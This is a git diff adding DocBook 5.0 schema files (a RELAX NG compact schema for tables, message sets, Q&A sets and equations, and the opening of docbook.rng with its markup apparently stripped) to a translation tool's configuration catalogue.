"db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:informaltable)" + "informaltable must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element table { + db.cals.table.attlist, + db.cals.table.info, + (db.alt? & db.indexing.inlines* & db.textobject*), + (db.mediaobject+ | db.tgroup+), + db.caption? + } +} +div { + db.cals.informaltable.role.attribute = attribute role { text } + db.cals.informaltable.attlist = + db.cals.informaltable.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tabstyle.attribute? + & db.floatstyle.attribute? + & db.orient.attribute? + & db.colsep.attribute? + & db.rowsep.attribute? + & db.frame.attribute? + & db.pgwide.attribute? + & db.rowheader.attribute? + db.cals.informaltable.info = db._info.title.forbidden + db.cals.informaltable = + + ## A table without a title + element informaltable { + db.cals.informaltable.attlist, + db.cals.informaltable.info, + (db.alt? & db.indexing.inlines* & db.textobject*), + (db.mediaobject+ | db.tgroup+), + db.caption? + } +} +db.html.coreattrs = + + ## This attribute assigns a class name or set of class names to an element. Any number of elements may be assigned the same class name or names. Multiple class names must be separated by white space characters. + attribute class { text }? + & + ## This attribute specifies style information for the current element. + attribute style { text }? + & + ## This attribute offers advisory information about the element for which it is set. + attribute title { text }? +db.html.i18n = + + ## This attribute specifies the base language of an element's attribute values and text content. The default value of this attribute is unknown. + attribute lang { text }? +db.html.events = + + ## Occurs when the pointing device button is clicked over an element. + attribute onclick { text }? + & + ## Occurs when the pointing device button is double clicked over an element. + attribute ondblclick { text }? + & + ## Occurs when the pointing device button is pressed over an element. + attribute onmousedown { text }? + & + ## Occurs when the pointing device button is released over an element. + attribute onmouseup { text }? + & + ## Occurs when the pointing device is moved onto an element. + attribute onmouseover { text }? + & + ## Occurs when the pointing device is moved while it is over an element. + attribute onmousemove { text }? + & + ## Occurs when the pointing device is moved away from an element. + attribute onmouseout { text }? + & + ## Occurs when a key is pressed and released over an element. + attribute onkeypress { text }? + & + ## Occurs when a key is pressed down over an element. + attribute onkeydown { text }? + & + ## Occurs when a key is released over an element. + attribute onkeyup { text }? +db.html.attrs = + db.common.attributes + & db.html.coreattrs + & db.html.i18n + & db.html.events +db.html.cellhalign = + + ## Specifies the alignment of data and the justification of text in a cell. + attribute align { + + ## Left-flush data/Left-justify text. This is the default value for table data. + "left" + | + ## Center data/Center-justify text. This is the default value for table headers. + "center" + | + ## Right-flush data/Right-justify text. + "right" + | + ## Double-justify text. + "justify" + | + ## Align text around a specific character. If a user agent doesn't support character alignment, behavior in the presence of this value is unspecified. + "char" + }? + & + ## This attribute specifies a single character within a text fragment to act as an axis for alignment. The default value for this attribute is the decimal point character for the current language as set by the lang attribute (e.g., the period in English and the comma in French). User agents are not required to support this attribute. + attribute char { text }? + & + ## When present, this attribute specifies the offset to the first occurrence of the alignment character on each line. If a line doesn't include the alignment character, it should be horizontally shifted to end at the alignment position. When charoff is used to set the offset of an alignment character, the direction of offset is determined by the current text direction (set by the dir attribute). In left-to-right texts (the default), offset is from the left margin. In right-to-left texts, offset is from the right margin. User agents are not required to support this attribute. + attribute charoff { text }? +db.html.cellvalign = + + ## Specifies the vertical position of data within a cell. + attribute valign { + + ## Cell data is flush with the top of the cell. + "top" + | + ## Cell data is centered vertically within the cell. This is the default value. + "middle" + | + ## Cell data is flush with the bottom of the cell. + "bottom" + | + ## All cells in the same row as a cell whose valign attribute has this value should have their textual data positioned so that the first text line occurs on a baseline common to all cells in the row. This constraint does not apply to subsequent text lines in these cells. + "baseline" + }? +db.html.table.attributes = + + ## Provides a summary of the table's purpose and structure for user agents rendering to non-visual media such as speech and Braille. + attribute summary { text }? + & + ## Specifies the desired width of the entire table and is intended for visual user agents. When the value is a percentage value, the value is relative to the user agent's available horizontal space. In the absence of any width specification, table width is determined by the user agent. + attribute width { text }? + & + ## Specifies the width (in pixels only) of the frame around a table. + attribute border { text }? + & + ## Specifies which sides of the frame surrounding a table will be visible. + attribute frame { + + ## No sides. This is the default value. + "void" + | + ## The top side only. + "above" + | + ## The bottom side only. + "below" + | + ## The top and bottom sides only. + "hsides" + | + ## The left-hand side only. + "lhs" + | + ## The right-hand side only. + "rhs" + | + ## The right and left sides only. + "vsides" + | + ## All four sides. + "box" + | + ## All four sides. + "border" + }? + & + ## Specifies which rules will appear between cells within a table. The rendering of rules is user agent dependent. + attribute rules { + + ## No rules. This is the default value. + "none" + | + ## Rules will appear between row groups (see thead, tfoot, and tbody) and column groups (see colgroup and col) only. + "groups" + | + ## Rules will appear between rows only. + "rows" + | + ## Rules will appear between columns only. + "cols" + | + ## Rules will appear between all rows and columns. + "all" + }? + & + ## Specifies how much space the user agent should leave between the left side of the table and the left-hand side of the leftmost column, the top of the table and the top side of the topmost row, and so on for the right and bottom of the table. The attribute also specifies the amount of space to leave between cells. + attribute cellspacing { text }? + & + ## Specifies the amount of space between the border of the cell and its contents. If the value of this attribute is a pixel length, all four margins should be this distance from the contents. If the value of the attribute is a percentage length, the top and bottom margins should be equally separated from the content based on a percentage of the available vertical space, and the left and right margins should be equally separated from the content based on a percentage of the available horizontal space. + attribute cellpadding { text }? +db.html.tablecell.attributes = + + ## Provides an abbreviated form of the cell's content and may be rendered by user agents when appropriate in place of the cell's content. Abbreviated names should be short since user agents may render them repeatedly. For instance, speech synthesizers may render the abbreviated headers relating to a particular cell before rendering that cell's content. + attribute abbr { text }? + & + ## This attribute may be used to place a cell into conceptual categories that can be considered to form axes in an n-dimensional space. User agents may give users access to these categories (e.g., the user may query the user agent for all cells that belong to certain categories, the user agent may present a table in the form of a table of contents, etc.). Please consult an HTML reference for more details. + attribute axis { text }? + & + ## Specifies the list of header cells that provide header information for the current data cell. The value of this attribute is a space-separated list of cell names; those cells must be named by setting their id attribute. Authors generally use the headers attribute to help non-visual user agents render header information about data cells (e.g., header information is spoken prior to the cell data), but the attribute may also be used in conjunction with style sheets. + attribute headers { text }? + & + ## Specifies the set of data cells for which the current header cell provides header information. This attribute may be used in place of the headers attribute, particularly for simple tables. + attribute scope { + + ## The current cell provides header information for the rest of the row that contains it + "row" + | + ## The current cell provides header information for the rest of the column that contains it. + "col" + | + ## The header cell provides header information for the rest of the row group that contains it. + "rowgroup" + | + ## The header cell provides header information for the rest of the column group that contains it. + "colgroup" + }? + & + ## Specifies the number of rows spanned by the current cell. The default value of this attribute is one (1 + ## ). The value zero (0 + ## ) means that the cell spans all rows from the current row to the last row of the table section (thead + ## , tbody + ## , or tfoot + ## ) in which the cell is defined. + attribute rowspan { text }? + & + ## Specifies the number of columns spanned by the current cell. The default value of this attribute is one (1 + ## ). The value zero (0 + ## ) means that the cell spans all columns from the current column to the last column of the column group (colgroup + ## ) in which the cell is defined. + attribute colspan { text }? +db.html.table.model = + db.html.caption, + (db.html.col* | db.html.colgroup*), + db.html.thead?, + db.html.tfoot?, + (db.html.tbody+ | db.html.tr+) +db.html.informaltable.model = + (db.html.col* | db.html.colgroup*), + db.html.thead?, + db.html.tfoot?, + (db.html.tbody+ | db.html.tr+) +div { + db.html.table.attlist = + db.html.attrs + & db.html.table.attributes + & db.orient.attribute? + & db.pgwide.attribute? + & db.tabstyle.attribute? + & db.floatstyle.attribute? + db.html.table = + + ## A formal table in a document + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:table" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:informaltable)" + "informaltable must not occur in the descendants of table" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element table { db.html.table.attlist, db.html.table.model } +} +div { + db.html.informaltable.attlist = + db.html.attrs & db.html.table.attributes + db.html.informaltable = + + ## A table without a title + element informaltable { + db.html.informaltable.attlist, db.html.informaltable.model + } +} +div { + db.html.caption.attlist = db.html.attrs + db.html.caption = + + ## A caption + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:example)" + "example must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:figure)" + "figure must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:table)" + "table must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:caution)" + "caution must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:important)" + "important must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:note)" + "note must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:tip)" + "tip must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:warning)" + "warning must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:sidebar)" + "sidebar must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:caption" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:task)" + "task must not occur in the descendants of caption" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element caption { db.html.caption.attlist, text } +} +div { + db.html.col.attlist = + db.html.attrs + & + ## This attribute, whose value must be an integer > 0, specifies the number of columns spanned + ## by the col + ## element; the col + ## element shares its attributes with all the columns it spans. The default value for this attribute is 1 (i.e., a single column). If the span attribute is set to N > 1, the current col + ## element shares its attributes with the next N-1 columns. + attribute span { text }? + & + ## Specifies a default width for each column spanned by the current col + ## element. It has the same meaning as the width + ## attribute for the colgroup + ## element and overrides it. + attribute width { text }? + & db.html.cellhalign + & db.html.cellvalign + db.html.col = + + ## Specifications for a column in an HTML table + element col { db.html.col.attlist, empty } +} +div { + db.html.colgroup.attlist = + db.html.attrs + & + ## This attribute, which must be an integer > 0, specifies the number of columns in a column group. In the absence of a span attribute, each colgroup + ## defines a column group containing one column. If the span attribute is set to N > 0, the current colgroup + ## element defines a column group containing N columns. User agents must ignore this attribute if the colgroup + ## element contains one or more col + ## elements. + attribute span { text }? + & + ## This attribute specifies a default width for each column in the current column group. In addition to the standard pixel, percentage, and relative values, this attribute allows the special form 0* + ## (zero asterisk) which means that the width of the each column in the group should be the minimum width necessary to hold the column's contents. This implies that a column's entire contents must be known before its width may be correctly computed. Authors should be aware that specifying 0* + ## will prevent visual user agents from rendering a table incrementally. This attribute is overridden for any column in the column group whose width is specified via a col + ## element. + attribute width { text }? + & db.html.cellhalign + & db.html.cellvalign + db.html.colgroup = + + ## A group of columns in an HTML table + element colgroup { db.html.colgroup.attlist, db.html.col* } +} +div { + db.html.thead.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.thead = + + ## A table header consisting of one or more rows + element thead { db.html.thead.attlist, db.html.tr+ } +} +div { + db.html.tfoot.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tfoot = + + ## A table footer consisting of one or more rows + element tfoot { db.html.tfoot.attlist, db.html.tr+ } +} +div { + db.html.tbody.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tbody = + + ## A wrapper for the rows of a table or informal table + element tbody { db.html.tbody.attlist, db.html.tr+ } +} +div { + db.html.tr.attlist = + db.html.attrs & db.html.cellhalign & db.html.cellvalign + db.html.tr = + + ## A row in an HTML table + element tr { db.html.tr.attlist, (db.html.th | db.html.td)+ } +} +div { + db.html.th.attlist = + db.html.attrs + & db.html.tablecell.attributes + & db.html.cellhalign + & db.html.cellvalign + db.html.th = + + ## A table header entry in an HTML table + element th { + db.html.th.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.html.td.attlist = + db.html.attrs + & db.html.tablecell.attributes + & db.html.cellhalign + & db.html.cellvalign + db.html.td = + + ## A table entry in an HTML table + element td { + db.html.td.attlist, (db.all.inlines* | db.all.blocks*) + } +} +div { + db.msgset.role.attribute = attribute role { text } + db.msgset.attlist = + db.msgset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgset.info = db._info.title.only + db.msgset = + + ## A detailed set of messages, usually error messages + element msgset { + db.msgset.attlist, + db.msgset.info, + (db.msgentry+ | db.simplemsgentry+) + } +} +div { + db.msgentry.role.attribute = attribute role { text } + db.msgentry.attlist = + db.msgentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgentry = + + ## A wrapper for an entry in a message set + element msgentry { + db.msgentry.attlist, db.msg+, db.msginfo?, db.msgexplan* + } +} +div { + db.simplemsgentry.role.attribute = attribute role { text } + db.simplemsgentry.audience.attribute = + + ## The audience to which the message relevant + attribute audience { text } + db.simplemsgentry.origin.attribute = + + ## The origin of the message + attribute origin { text } + db.simplemsgentry.level.attribute = + + ## The level of importance or severity of a message + attribute level { text } + db.simplemsgentry.attlist = + db.simplemsgentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.simplemsgentry.audience.attribute + & db.simplemsgentry.origin.attribute + & db.simplemsgentry.level.attribute + db.simplemsgentry = + + ## A wrapper for a simpler entry in a message set + element simplemsgentry { + db.simplemsgentry.attlist, db.msgtext, db.msgexplan+ + } +} +div { + db.msg.role.attribute = attribute role { text } + db.msg.attlist = + db.msg.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msg.info = db._info.title.only + db.msg = + + ## A message in a message set + element msg { + db.msg.attlist, db.msg.info, db.msgmain, (db.msgsub | db.msgrel)* + } +} +div { + db.msgmain.role.attribute = attribute role { text } + db.msgmain.attlist = + db.msgmain.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgmain.info = db._info.title.only + db.msgmain = + + ## The primary component of a message in a message set + element msgmain { db.msgmain.attlist, db.msgmain.info, db.msgtext } +} +div { + db.msgsub.role.attribute = attribute role { text } + db.msgsub.attlist = + db.msgsub.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgsub.info = db._info.title.only + db.msgsub = + + ## A subcomponent of a message in a message set + element msgsub { db.msgsub.attlist, db.msgsub.info, db.msgtext } +} +div { + db.msgrel.role.attribute = attribute role { text } + db.msgrel.attlist = + db.msgrel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgrel.info = db._info.title.only + db.msgrel = + + ## A related component of a message in a message set + element msgrel { db.msgrel.attlist, db.msgrel.info, db.msgtext } +} +div { + db.msgtext.role.attribute = attribute role { text } + db.msgtext.attlist = + db.msgtext.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgtext = + + ## The actual text of a message component in a message set + element msgtext { db.msgtext.attlist, db.all.blocks+ } +} +div { + db.msginfo.role.attribute = attribute role { text } + db.msginfo.attlist = + db.msginfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msginfo = + + ## Information about a message in a message set + element msginfo { + db.msginfo.attlist, (db.msglevel | db.msgorig | db.msgaud)* + } +} +div { + db.msglevel.role.attribute = attribute role { text } + db.msglevel.attlist = + db.msglevel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msglevel = + + ## The level of importance or severity of a message in a message set + element msglevel { db.msglevel.attlist, db._text } +} +div { + db.msgorig.role.attribute = attribute role { text } + db.msgorig.attlist = + db.msgorig.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgorig = + + ## The origin of a message in a message set + element msgorig { db.msgorig.attlist, db._text } +} +div { + db.msgaud.role.attribute = attribute role { text } + db.msgaud.attlist = + db.msgaud.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgaud = + + ## The audience to which a message in a message set is relevant + element msgaud { db.msgaud.attlist, db._text } +} +div { + db.msgexplan.role.attribute = attribute role { text } + db.msgexplan.attlist = + db.msgexplan.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.msgexplan.info = db._info.title.only + db.msgexplan = + + ## Explanatory material relating to a message in a message set + element msgexplan { + db.msgexplan.attlist, db.msgexplan.info, db.all.blocks+ + } +} +div { + db.qandaset.role.attribute = attribute role { text } + db.qandaset.defaultlabel.enumeration = + + ## No labels + "none" + | + ## Numeric labels + "number" + | + ## "Q:" and "A:" labels + "qanda" + db.qandaset.defaultlabel.attribute = + + ## Specifies the default labelling + attribute defaultlabel { db.qandaset.defaultlabel.enumeration } + db.qandaset.attlist = + db.qandaset.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.qandaset.defaultlabel.attribute? + db.qandaset.info = db._info.title.only + db.qandaset = + + ## A question-and-answer set + element qandaset { + db.qandaset.attlist, + db.qandaset.info, + db.all.blocks*, + (db.qandadiv+ | db.qandaentry+) + } +} +div { + db.qandadiv.role.attribute = attribute role { text } + db.qandadiv.attlist = + db.qandadiv.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.qandadiv.info = db._info.title.only + db.qandadiv = + + ## A titled division in a QandASet + element qandadiv { + db.qandadiv.attlist, + db.qandadiv.info, + db.all.blocks*, + (db.qandadiv+ | db.qandaentry+) + } +} +div { + db.qandaentry.role.attribute = attribute role { text } + db.qandaentry.attlist = + db.qandaentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.qandaentry.info = db._info.title.forbidden + db.qandaentry = + + ## A question/answer set within a QandASet + element qandaentry { + db.qandaentry.attlist, db.qandaentry.info, db.question, db.answer* + } +} +div { + db.question.role.attribute = attribute role { text } + db.question.attlist = + db.question.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.question = + + ## A question in a QandASet + element question { db.question.attlist, db.label?, db.all.blocks+ } +} +div { + db.answer.role.attribute = attribute role { text } + db.answer.attlist = + db.answer.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.answer = + + ## An answer to a question posed in a QandASet + element answer { db.answer.attlist, db.label?, db.all.blocks+ } +} +div { + db.label.role.attribute = attribute role { text } + db.label.attlist = + db.label.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.label = + + ## A label on a Question or Answer + element label { db.label.attlist, db._text } +} +db.math.inlines = db.inlineequation +db.math.blocks = db.equation | db.informalequation +db.equation.content = (db.mediaobject+ | db.mathphrase+) | db._any.mml+ +div { + db.equation.role.attribute = attribute role { text } + db.equation.label.attribute = db.label.attribute + db.equation.attlist = + db.equation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.equation.label.attribute? + & db.pgwide.attribute? + & db.floatstyle.attribute? + db.equation.info = db._info.title.only + db.equation = + + ## A displayed mathematical equation + element equation { + db.equation.attlist, + db.equation.info, + db.alt?, + db.equation.content, + db.caption? + } +} +div { + db.informalequation.role.attribute = attribute role { text } + db.informalequation.attlist = + db.informalequation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.informalequation.info = db._info.title.forbidden + db.informalequation = + + ## A displayed mathematical equation without a title + element informalequation { + db.informalequation.attlist, + db.informalequation.info, + db.alt?, + db.equation.content, + db.caption? + } +} +div { + db.inlineequation.role.attribute = attribute role { text } + db.inlineequation.attlist = + db.inlineequation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.inlineequation = + + ## A mathematical equation or expression occurring inline + element inlineequation { + db.inlineequation.attlist, db.alt?, db.equation.content + } +} +div { + db.mathphrase.role.attribute = attribute role { text } + db.mathphrase.attlist = + db.mathphrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mathphrase = + + ## A mathematical phrase, an expression that can be represented with ordinary text and a small amount of markup + element mathphrase { + db.mathphrase.attlist, + (db._text | db.ubiq.inlines | db._emphasis)* + } +} +div { + db._any.mml = + + ## Any element from the MathML namespace + element mml:* { (db._any.attribute | text | db._any)* } +} +div { + db._any.svg = + + ## Any element from the SVG namespace + element svg:* { (db._any.attribute | text | db._any)* } +} diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rng b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rng new file mode 100644 index 0000000..9f8288f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/docbook5.0/docbook.rng @@ -0,0 +1,14864 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + Any attribute including in any attribute in any namespace. + + + + + + Any element from almost any namespace + + + + + + + + + + + + + + + +
    + + + + Designates the computer or chip architecture to which the element applies + + + + + provides a standard place for application-specific effectivity + + + + + Indicates standards conformance characteristics of the element + + + + + Indicates the operating system to which the element is applicable + + + + + Indicates the editorial revision to which the element belongs + + + + + Indicates something about the security level associated with the element to which it applies + + + + + Indicates the level of user experience for which the element applies + + + + + Indicates the computer vendor to which the element applies. + + + + + Indicates the word size (width in bits) of the computer architecture to which the element applies + + + + + + Points to the element whose content is to be used as the text of the link + + + + + + Points to an internal link target by identifying the value of its xml:id attribute + + + + + + Points to one or more internal link targets by identifying the value of their xml:id attributes + + + + + + Identifies a link target with a URI + + + + + Identifies the XLink link type + simple + An XLink simple link + + + + + Identifies the XLink role of the link + + + + + + Identifies the XLink arcrole of the link + + + + + + + Identifies the XLink title of the link + + + + + + new + An application traversing to the ending resource should load it in a new window, frame, pane, or other relevant presentation context. + replace + An application traversing to the ending resource should load the resource in the same window, frame, pane, or other relevant presentation context in which the starting resource was loaded. + embed + An application traversing to the ending resource should load its presentation in place of the presentation of the starting resource. + other + The behavior of an application traversing to the ending resource is unconstrained by XLink. The application should look for other markup present in the link to determine the appropriate behavior. + none + The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + + + + + Identifies the XLink show behavior of the link + + + + + + onLoad + An application should traverse to the ending resource immediately on loading the starting resource. + onRequest + An application should traverse from the starting resource to the ending resource only on a post-loading event triggered for the purpose of traversal. + other + The behavior of an application traversing to the ending resource is unconstrained by this specification. The application should look for other markup present in the link to determine the appropriate behavior. + none + The behavior of an application traversing to the ending resource is unconstrained by this specification. No other markup is present to help the application determine the appropriate behavior. + + + + + Identifies the XLink actuate behavior of the link + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Identifies the unique ID value of the element + + + + + + Specifies the DocBook version of the element and its descendants + + + + + Specifies the natural language of the element and its descendants + + + + + Specifies the base URI of the element and its descendants + + + + + Provides the name or similar semantic identifier assigned to the content in some previous markup scheme + + + + + Provides the text that is to be generated for a cross reference to the element + + + + + Specifies a keyword or keywords identifying additional style information + + + + + changed + The element has been changed. + added + The element is new (has been added to the document). + deleted + The element has been deleted. + off + Explicitly turns off revision markup for this element. + + + + + Identifies the revision status of the element + + + + + + ltr + Left-to-right text + rtl + Right-to-left text + lro + Left-to-right override + rlo + Right-to-left override + + + + + Identifies the direction of text in an element + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Specifies the format of the data + + + + + Indentifies the location of the data by URI + + + + Identifies the location of the data by external identifier (entity name) + + + + + + + continues + Line numbering continues from the immediately preceding element with the same name. + restarts + Line numbering restarts (begins at 1, usually). + + + + + Determines whether line numbering continues from the previous element or restarts. + + + + + + numbered + Lines are numbered. + unnumbered + Lines are not numbered. + + + + + Determines whether lines are numbered. + + + + + + Specifies the initial line number. + + + + + + Identifies the language (i.e. programming language) of the verbatim content. + + + + + Can be used to indicate explicitly that whitespace in the verbatim environment is preserved. Whitespace must always be preserved in verbatim environments whether this attribute is specified or not. + preserve + Whitespace must be preserved. + + + + + + + + + + + + + + + + + + + + + + + + Specifies an identifying string for presentation purposes + + + + + Specifies the width (in characters) of the element + + + + + + compact + The spacing should be "compact". + normal + The spacing should be "normal". + + + + + Specifies (a hint about) the spacing of the content + + + + + + 0 + The element should be rendered in the current text flow (with the flow column width). + 1 + The element should be rendered across the full text page. + + + + + Indicates if the element is rendered across the column or the page + + + + + + Identifies the language (i.e. programming language) of the content. + + + + + optional + The content describes an optional step or steps. + required + The content describes a required step or steps. + + + + + Specifies if the content is required or optional. + + + + + + Specifies style information to be used when rendering the float + + + + + Specifies the width of the element + + + + + Specifies the depth of the element + + + + + Specifies the width of the content rectangle + + + + + Specifies the depth of the content rectangle + + + + + 0 + False (do not scale-to-fit; anamorphic 